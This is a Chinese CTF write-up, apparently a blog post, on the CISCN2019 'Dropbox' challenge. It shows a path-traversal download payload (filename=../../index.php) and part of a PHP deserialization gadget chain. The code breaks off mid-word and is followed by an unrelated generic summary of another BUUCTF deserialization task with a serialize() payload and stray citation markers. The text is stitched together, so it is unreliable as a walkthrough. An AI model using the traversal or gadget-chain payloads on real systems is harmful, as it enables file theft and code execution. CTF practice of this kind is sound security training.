[BUU/反序列化/Phar] [CISCN2019 华北赛区 Day1 Web1]Dropbox

注册登录,

上传图片,可以下载文件,对文件下载进行抓包,

此处可下载任意文件,
请添加图片描述

filename=../../index.php

找到class.php

<?php
    
class User {
   
   
    public $db;

	// 触发FileList的__call()
    public function __destruct() {
   
   
        $this->db->close();
    }
}

class FileList {
   
   
    private $files;
    private $results;
    private $funcs;

    public function __call($func, $args) {
   
   
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
   
   
            // 调用File::close(),读文件,将结果保存到results
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public functio
### PHP 反序列化 buuCTF 挑战解题思路 #### 一、题目背景与环境设置 在buuctf平台上,存在多个涉及PHP反序列化的挑战。这些挑战通常提供一段PHP代码供参赛者审计并找出漏洞所在。例如,在NewStarCTF中的`UnserializeOne`题目中,参与者需深入理解给定的PHP脚本逻辑及其潜在的安全隐患[^1]。 #### 二、核心概念解析 对于此类题目而言,掌握PHP对象序列化和反序列化的机制至关重要。当一个对象被序列化后会转换成字符串形式存储;而通过特定手段操控该字符串再将其传递回程序执行反序列操作,则可能触发预设之外的行为模式。特别是在某些情况下,如果开发者定义了特殊方法如`__destruct()`、`process()`以及`read()`等,它们会在反序列过程中自动调用,这便成为了解决这类问题的关键切入点之一[^3]。 #### 三、具体实例分析 以一次成功的解题为例,为了使条件判断语句成立进而获得flag,需要让两个属性值相等——即`$correct`为空串且与另一个同名变量指向同一内存地址。因此可以构建如下所示的对象结构并通过`serialize()`函数得到相应的payload: ```php <?php class BUU { public $correct = ""; public $input = ""; } $a = new BUU(); $a->correct = ""; $a->input =& $a->correct; echo serialize($a); ?> ``` 上述代码片段创建了一个名为`BUU`的新类实例,并设置了其内部成员之间的引用关系使得二者共享相同的值空间。最终输出的结果即是可用于提交测试的有效载荷数据[^4]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值